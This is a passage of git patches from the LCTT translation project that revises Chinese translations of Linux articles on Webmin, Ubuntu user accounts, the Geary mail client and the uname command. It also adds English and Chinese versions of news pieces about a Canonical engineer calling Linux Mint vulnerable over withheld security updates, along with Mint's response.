-如果你曾经用过基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，它们提供的功能相比带来的系统资源负担是不值得，而且还不够安全因为更多的代码会带来安全弱点。 +如果你习惯了使用基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，它们提供的功能相比带来的系统资源负担是不值得，而且还不够安全因为更多的代码会带来安全弱点。 替换成熟的基于图形界面桌面系统的一种可选方法是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具, 如 [Webmin][1], [ISPconfig][2], [Zentyal][3], 等。 在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**. -Webmin 是一个用`Perl`语言写的轻型 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载模块来扩展其功能。 +Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载模块来扩展其功能。 ### Linux服务器上安装Webmin ### @@ -35,13 +35,13 @@ Webmin 是一个用`Perl`语言写的轻型 (~20 MB) 系统配置工具。 Webmi ### Webmin 的特点 ### -Webmin 一个引以为豪的有点就是它几乎能够配置任何Linux服务器所支持的配置。 下面， 让我们介绍一下它的重要功能。 +Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍，让你们大体了解它的一些重要功能。 开启或关闭 boot-time 服务， 同时会显示他们相关配置信息。 [![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] -实时监控服务器状态和其他服务， 同时配置调度监控和提醒邮件。 你也可以监控一系列守护进程如 NFS, MySQL, BIND DNS, Squid proxy, Apache Web server等， 或者系统资源如 磁盘信息 (disk storage)、内存和网络故障(memory or network traffic)等。 +实时监控服务器状态和其他服务， 同时配置调度监控和提醒邮件。 你也可以监控一系列服务器守护进程如 NFS, MySQL, BIND DNS, Squid proxy, Apache Web server等， 或者系统资源如 磁盘信息 (disk storage)、内存和网络故障(memory or network traffic)等。 配置 iptables-based firewall。 @@ -55,7 +55,7 @@ Webmin 一个引以为豪的有点就是它几乎能够配置任何Linux服务 通过文件管理接口来查看和修改本地文件，但是这需要浏览器有相关的java插件。 -通过改变Webmin的相关配置，你可以控制管理 IP 地址， 添加/删除 Webmin 功能模块， 开启 two-factor 认证来使用安全登录功能，或者创建权威验证等。 +通过改变Webmin的相关配置，你可以控制管理 IP 地址，添加/删除 Webmin 功能模块，开启 two-factor 认证来使用安全登录功能，或者创建权威验证等。 [![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] @@ -63,7 +63,7 @@ Webmin 一个引以为豪的有点就是它几乎能够配置任何Linux服务 via: http://xmodulo.com/2013/11/manage-linux-server-gui.html -译者：[thinkinglk](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[thinkinglk](https://github.com/译者ID) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 707fdee38d20c188f8c5b6743af135a4d07508fd Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Thu, 28 Nov 2013 12:32:24 +0800 Subject: [PATCH 040/148] translating --- .../Daily Ubuntu Tips – Print From Shared Windows Printers.md | 3 ++- ...ct Your Computers Using OpenDNS’ Secure DNS Infrastructure.md | 3 ++- sources/How to convert video to animated gif image on Linux.md | 3 ++- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md index 89283c1e0b..5f0726bde1 100644 --- a/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ b/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -1,3 +1,4 @@ +翻译中 by Linux-pdz Daily Ubuntu Tips – Print From Shared Windows Printers ================================================================================ For users with both Windows and Ubuntu machines and a single printer, this blog post is going to show you how to share a printer in Windows and allow Ubuntu machines to printer to it. @@ -46,4 +47,4 @@ via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-win 译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md b/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md index 528e601256..1aaad9be28 100644 --- a/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md +++ b/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md @@ -1,3 +1,4 @@ +翻译中by Linux-pdz Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure ================================================================================ The Internet is a jungle. Everyone – good and bad is connected to the same Internet we’re all connected to. Folks whose business is to infect your computer with nasty viruses and those who seek to protect the good guys are all connected. @@ -32,4 +33,4 @@ via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers 译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/sources/How to convert video to animated gif image on Linux.md b/sources/How to convert video to animated gif image on Linux.md index 85277c083f..1656a2b9c0 100644 --- a/sources/How to convert video to animated gif image on Linux.md +++ b/sources/How to convert video to animated gif image on Linux.md @@ -1,3 +1,4 @@ +翻译中by Linux-pdz How to convert video to animated gif image on Linux ================================================================================ Once thought of as outdated art forms, animated GIF images have now come back. If you haven't noticed, quite a few online sharing and social networking sites are now supporting animated GIF images, for example, on [Tumblr][1], [Flickr][2], [Google+][3], and [partly on Facebook][4]. Due to their ease of consumption and sharing, GIF-ed animations are now part of mainstream Internet culture. @@ -69,4 +70,4 @@ via: http://xmodulo.com/2013/11/convert-video-animated-gif-image-linux.html [5]:http://xmodulo.com/2013/03/how-to-save-youtube-videos-on-linux.html [6]:http://xmodulo.com/2013/06/how-to-install-ffmpeg-on-linux.html [7]:http://ask.xmodulo.com/install-imagemagick-linux.html -[8]:http://www.flickr.com/photos/xmodulo/10988763123/ \ No newline at end of file +[8]:http://www.flickr.com/photos/xmodulo/10988763123/ From 86c76af892d0131a1e11657111793dada567db6f Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 28 Nov 2013 13:10:32 +0800 Subject: [PATCH 041/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=20=E2=80=93=20Adding=20User=20Accounts=20In=20Ubuntu?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) rename {translated => published}/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md (76%) diff --git a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/published/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md similarity index 76% rename from translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md rename to published/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md index 87d83f61f0..e74a4bbf69 100644 --- a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md +++ b/published/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md @@ -1,9 +1,9 @@ 每日Ubuntu小技巧——在Ubuntu中添加用户 ================================================================================ -Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹，文件和设置访问计算机。用户A可以登录并修改他/她自己的配置文件而不会影响用户 **B ** 的配置文件。 +Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹，文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。 -因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本短文将展示使用Ubuntu时如何实现这一点。 +因此，你可以为每一个可能使用你家里电脑的用户创建一个独立的账户，而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。 为了获得上面所说的那样的独立账户，首先点击长条菜单栏上的齿轮图标，然后点击系统设置。 @@ -13,7 +13,7 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png) -要添加用户到你的Ubuntu需要管理员权限。如果你要这么做，就在添加账户前点击解锁（Unlock)。 +要添加用户到你的Ubuntu需要管理员权限，请在添加账户前点击解锁（Unlock)。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png) @@ -27,7 +27,7 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用 输入用户全名时，系统将根据全名自动选择用户名。你可以保留自动生成的用户名，也可以根据需要修改用户名。完成后，点击**创建（Create)**来创建账户。 -默认情况下，刚创建的账户将会不可用，直到它的密码被创建/修改。要想让账户可用，点击账户不可用按钮，然后输入密码。 +默认情况下，刚创建的账户是不可用的，除非给他设置或修改了密码。要想让账户可用，点击账户的不可用按钮，然后输入密码。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png) From 7b62545b1b41e555185071453cd3436bb6b67dc6 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 28 Nov 2013 13:13:27 +0800 Subject: [PATCH 042/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=20=E2=80=93=20Get=20Geary,=20A=20Lightweight=20Email?= =?UTF-8?q?=20Reader=20In=20Ubuntu?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ips – Get Geary, A Lightweight Email Reader In Ubuntu.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename {translated => published}/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md (88%) diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/published/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md similarity index 88% rename from translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md rename to published/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md index 40173602d3..64f9856f19 100644 --- a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ b/published/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -1,13 +1,13 @@ -每日Ubuntu小技巧——在Ubuntu下使用一款轻量级的Email阅读器-Geary +每日Ubuntu小技巧：一款轻量级的Email阅读器Geary ================================================================================ 正如大家所知，Ubuntu 本身自带可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail，Microsoft Outlook 等等支持IMAP协议的邮件服务。 -Thunderbird 是一个功能强大的邮件客户端，只要email客户端所支持的功能，它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端，Geary 是一个不错的选择。 +Thunderbird 是一个功能强大的邮件客户端，只要email客户端所需要的功能，它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端，Geary 是一个不错的选择。 Geary 是一个界面简洁，能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必点击鼠标来切换消息。 -Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务来收发电子邮件。 +Geary 还支持IMAP 协议，所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。 以Ubuntu 13.10用户为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 From 77cdb19ce57d7a23e3da9309cdb85fedadbfae05 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 28 Nov 2013 13:32:01 +0800 Subject: [PATCH 043/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9A9=20Linux=20?= =?UTF-8?q?Uname=20Command=20Examples=20To=20Get=20Operating=20System=20De?= =?UTF-8?q?tails?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Examples To Get Operating System Details.md | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) rename {translated => published}/9 Linux Uname Command Examples To Get Operating System Details.md (81%) diff --git a/translated/9 Linux Uname Command Examples To Get Operating System Details.md b/published/9 Linux Uname Command Examples To Get Operating System Details.md similarity index 81% rename from translated/9 Linux Uname Command Examples To Get Operating System Details.md rename to published/9 Linux Uname Command Examples To Get Operating System Details.md index be9ae88dc5..7d0a7cced8 100644 --- a/translated/9 Linux Uname Command Examples To Get Operating System Details.md +++ b/published/9 Linux Uname Command Examples To Get Operating System Details.md @@ -1,9 +1,6 @@ -九个简单实例教你用uname命令获取Linux操作系统详情 - +九个uname命令获取Linux系统详情的实例 ================================================================================ -![](http://linoxide.com/wp-content/uploads/2013/11/linux-uname-command.png) - 当你在控制台模式下，无法通过“鼠标右键 > 关于”获取操作系统的信息。这时，在Linux下，你可以使用**uname**命令，帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。 当你输入uname不带参数时，它仅仅显示你的操作系统的名字。 @@ -18,7 +15,7 @@ ### 1. 内核名称 ### -你可以用**-s**参数，显示内核名称。 +你可以用**-s**参数，显示内核名称。（译注：可以在其他的类Unix系统上运行这个命令看看，比如mac就会显示Darwin） # uname -s @@ -28,7 +25,7 @@ ### 2. 内核发行版 ### -如果你想知道你正在使用哪个内核发行版，就可以用**-r**参数 +如果你想知道你正在使用哪个内核发行版（指不同的内核打包版本），就可以用**-r**参数 # uname -r @@ -36,7 +33,7 @@ ### 3. 内核版本 ### -除一些内核信息外，用**-v**参数uname也能获取更详细的内核版本信息。 +除一些内核信息外，用**-v**参数uname也能获取更详细的内核版本信息（译注：不是版本号，是指该内核建立的时间和CPU架构等）。 # uname -v @@ -56,7 +53,7 @@ CentOS release 5.10 (Final) -如果不是基于RedHat的发行版，你可以查看**/et/issue/**文件.类似如下： +如果不是基于RedHat的发行版，你可以查看**/etc/issue**文件.类似如下： # cat /etc/issue @@ -74,7 +71,7 @@ i686表明了你用的是32位的操作系统，如果是X86_64则表明你用 ### 6. 硬件平台 ### -与硬件名称类似，-i参数会显示你的硬件平台。 +与硬件名称类似，-i参数会显示你的硬件平台（译注：硬件名称i686是属于硬件平台i386系列的）。 # uname -i @@ -108,7 +105,7 @@ uname也可以透露你正在运行的操作系统信息，用**-o**参数可以 以上就是关于uname命令的使用。请敬请期待更多的命令！ -谢谢！ +谢谢阅读！ -------------------------------------------------------------------------------- From 2dc45d1b488c464aea0fc84280ff07da92b6ba71 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 28 Nov 2013 14:06:36 +0800 Subject: [PATCH 044/148] =?UTF-8?q?=E5=8F=91=E8=A1=A8=EF=BC=9A=20Canonical?= =?UTF-8?q?=20Dev=20Calls=20Linux=20Mint=20=E2=80=98Vulnerable=E2=80=99,?= =?UTF-8?q?=20Wouldn=E2=80=99t=20Use=20it=20For=20Online=20Banking?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...able’, Wouldn’t Use it For Online Banking.md | 39 ++++++++++++++++++ ...able’, Wouldn’t Use it For Online Banking.md | 41 ------------------- 2 files changed, 39 insertions(+), 41 deletions(-) create mode 100644 published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md delete mode 100644 translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md diff --git a/published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md new file mode 100644 index 0000000000..71cce4cc30 --- /dev/null +++ b/published/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -0,0 +1,39 @@ +Canonical Dev称Linux Mint“脆弱”，不要将其用于网银 +================================================================================ +**一位Canonical公司[工程师建议][1]：基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。** + +Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ，Oliver Grawert说。 + +> “不去马上整合Ubuntu提交的那些修正，而是拒绝这些软件包的（安全）更新。我要说，强制保持一个有缺陷的内核、浏览器或xorg，而不是允许安装更新补丁，这会变成一个易受攻击的系统，（原文如此）”。 +> +> “就我个人而言，我不会用它做网银操作。” + +当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法： + +> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，Mint需要花好几个月才能得到一个Firefox的修正版，而Ubuntu和Debian已经早在他们的包上打了安全补丁。 +> +> 这将置Linux Mint用户处于危险中，也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。” + +Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师，他比大多数人更了解自己在说什么。 + +那么Mint的用户存在实际风险么？ + +半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”（这个词更好一些）都是有记录和已知的，虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在，至少现在，在理论上是很有可能的。 + +也就是说，没有发生**已知的**由于使用Mint发行版（或任何其他基于Ubuntu的未打补丁的发行版）并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。 + +但是，仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户，并不能说明其他人永远不会这么做。 + +**看到Ubuntu持续被提及有关自身的（主要是理论上）隐私问题后，至少它还穿着另外一只鞋子，我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。** + +*请注意：我们已经向Linux Mint征求意见及澄清，答复将在后继文章发表。* + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者：[whatever1992](https://github.com/whatever1992) 校对：[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html diff --git a/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md deleted file mode 100644 index aa8a5d3cce..0000000000 --- a/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md +++ /dev/null @@ -1,41 +0,0 @@ -Canonical Dev称Linux Mint“脆弱”，不要将其用于办理在线银行业务 -================================================================================ -**一位Canonical公司[工程师建议][1]：基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于在线办理银行业务 。** - -Mint禁止更新那些存在已知安全问题的安装包 - 从内核和浏览器到启动加载器和Xorg显示服务 - 的决定提供给用户一个“脆弱的系统” ，Oliver Grawert说。 - -> “不去适当整合Ubuntu中归档包的变化，反而拒绝这些软件包的（安全）更新。不允许安装提供的安全更新，强迫保留一个基于脆弱内核的浏览器或xorg，将使之成为一个易受攻击的系统，（原文如此）”。 -> -> “就我个人而言，我不会用它在线办理银行业务。 ” - -当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法： - -> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，Mint需要花好几个月才能得到一个Firefox的修正版，而Ubuntu和Debian已经同时在他们的包上打了安全补丁。 -> -> 这是使得Linux Mint用户处于危险中的其中一个关键原因，我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统。” - -Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师，他比大多数人更了解自己在说什么。 - -**‘那么Mint的用户存在实际风险么？可以说对也可以说不对…’** - -那么Mint的用户存在实际风险么？ - -半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”（一个更好的词）都是有记录和已知的，虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在，至少现在，在理论上是很有可能的。 - -也就是说，没有发生已知的由于使用Mint发行版（或任何其他基于Ubuntu的未打补丁的发行版）并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。 - -但是，仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户，并不能说明其他人永远不会这么做。 - -**看到Ubuntu持续被提及有关自身的（主要是理论上）隐私问题后，现在靴子被牢牢地套在另一只脚上，我们将可喜的看到对用户安全的强烈关注正在延伸至其他发行版上** - -*请注意：我们已经向Linux Mint征求意见及澄清，但还没收到任何答复。* - --------------------------------------------------------------------------------- - -via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure - -译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html From 9b0ae4a2decdb1ad1885d6152590432ce5361f4f Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 28 Nov 2013 14:09:55 +0800 Subject: [PATCH 045/148] =?UTF-8?q?20131128-3=20=E9=80=89=E9=A2=98=20?= =?UTF-8?q?=E4=B8=A4=E4=B8=AA=E4=B8=80=E5=AF=B9=E5=84=BF=E7=9A=84=E5=91=BC?= =?UTF-8?q?=E5=BA=94=E6=96=87=E7=AB=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...able’, Wouldn’t Use it For Online Banking.md | 44 ++++++++++++++++++ ...o Ubuntu Developer’s ‘Vulnerable’ Claim.md | 45 +++++++++++++++++++ 2 files changed, 89 insertions(+) create mode 100644 sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md create mode 100644 sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md diff --git a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md new file mode 100644 index 0000000000..1bf0aba917 --- /dev/null +++ b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -0,0 +1,44 @@ +Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking +================================================================================ +> Linux Mint has since responded to the comments by Oliver Grawert. [You can read them here][1]. + +**Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][2].** + +Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says *Oliver Grawert*. + +> “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”. +> +> “I personally wouldn’t do online banking with it.” + +Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member Benjamin **Kerensa* feels the same:** + +> “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package. +> +> This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.” + +Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about. + +> ‘But are Mint users in actual risk? Yes and no…’ + +But are Mint users in actual risk? + +Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one. + +That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List. + +But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it. + +**After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. ** + +Notice: We reached out to Linux Mint for comment & clarification but received no reply. + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:这个地址在发布的时候填写成“Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim”这篇文章的发布的地址 +[2]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html \ No newline at end of file diff --git a/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md b/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md new file mode 100644 index 0000000000..61be2da1cb --- /dev/null +++ b/sources/Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim.md @@ -0,0 +1,45 @@ +Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim +================================================================================ +**It’s never a particularly tasty task having to write a news article on something that you know is going to cause headache and upset in the wider community.** + +Earlier today I had to grin and bear it as I did just that in an article relaying comments made by Canonical engineer Oliver Grawert in which he branded Linux Mint a “‘vulnerable’ system” due to the way the distro provides security updates to users. + +*Tl;dr: they don’t. (At least, not automatically.)* + +A Canonical developer highlighting security concerns with another distro might sound like pure click bait on paper, but in practice it has important ramifications for users. Security is important, even on a platform that most perceive as invincible. + +> ‘To put my own Top Trumps cards on the table, I was unaware that Mint held back security updates…’ + +Whether you agreed with Oliver’s take on Mint’s approach or not, **his comments were worth relaying**. These weren’t made by someone with an axe to grind.. They were informed by his esteemed position as an Ubuntu engineer. He knows what he’s talking about. Whether correct or misplaced, his comments have resulted in positive discussions about how security update practices should be handled. + +To put my own Top *Trump™* cards on the table, I was unaware that Mint held back security updates for packages like Xorg and the Linux Kernel. So, at the very least, this mini-furore – borne largely out of knee-jerk reaction to the comments rather than their content in intent – has served a purpose. + +### Mint Respond ### + +Linux Mint head-honco Clement Lefebvre has since responded to the remarks, saying that he and his team of developers are “very happy with the filtering system” for security updates in Mint. + +> ” We explained why the Ubuntu update policy was not good enough for us and we consequently developed the update manager to solve that particular problem. +> +> Firefox doesn’t come to you later in Mint than it does in Ubuntu (it’s a level 2 update). +> +> Yes, by default you get updates in Ubuntu for kernels and Xorg and not in Mint. Yes, there’s a very good reason for that.” + +While Lefebvre doesn’t expand on precisely what that “very good reason” is, the general consensus on the web seems to be that Kernel and Xorg updates are held back because of the stability and performance issues that sometimes arise after upgrading. + +Which, in many ways, is understandable. + +Linux Mint don’t prevent their users from installing these updates but they are not enabled by default. + +For further information on Linux Mint’s approach to security refer to the following blog post. + +- [Linux Mint – Security Vs Stability][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/linux-mint-responds-ubuntu-developers-security-claims + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://segfault.linuxmint.com/2013/11/answering-controversy-stability-vs-security-is-something-you-configure/ \ No newline at end of file From a11493e9295ce1e95acf33a283cca545ce0a483d Mon Sep 17 00:00:00 2001 From: NearTan Date: Thu, 28 Nov 2013 23:39:42 +0800 Subject: [PATCH 046/148] translated by NearTan --- ... Find How Long Your System Been Running.md | 52 ------------------- ... Find How Long Your System Been Running.md | 51 ++++++++++++++++++ 2 files changed, 51 insertions(+), 52 deletions(-) delete mode 100644 sources/Linux Uptime Command – Find How Long Your System Been Running.md create mode 100644 translated/Linux Uptime Command – Find How Long Your System Been Running.md diff --git a/sources/Linux Uptime Command – Find How Long Your System Been Running.md b/sources/Linux Uptime Command – Find How Long Your System Been Running.md deleted file mode 100644 index 1b80315bd2..0000000000 --- a/sources/Linux Uptime Command – Find How Long Your System Been Running.md +++ /dev/null @@ -1,52 +0,0 @@ - NearTan 选题 -Linux Uptime 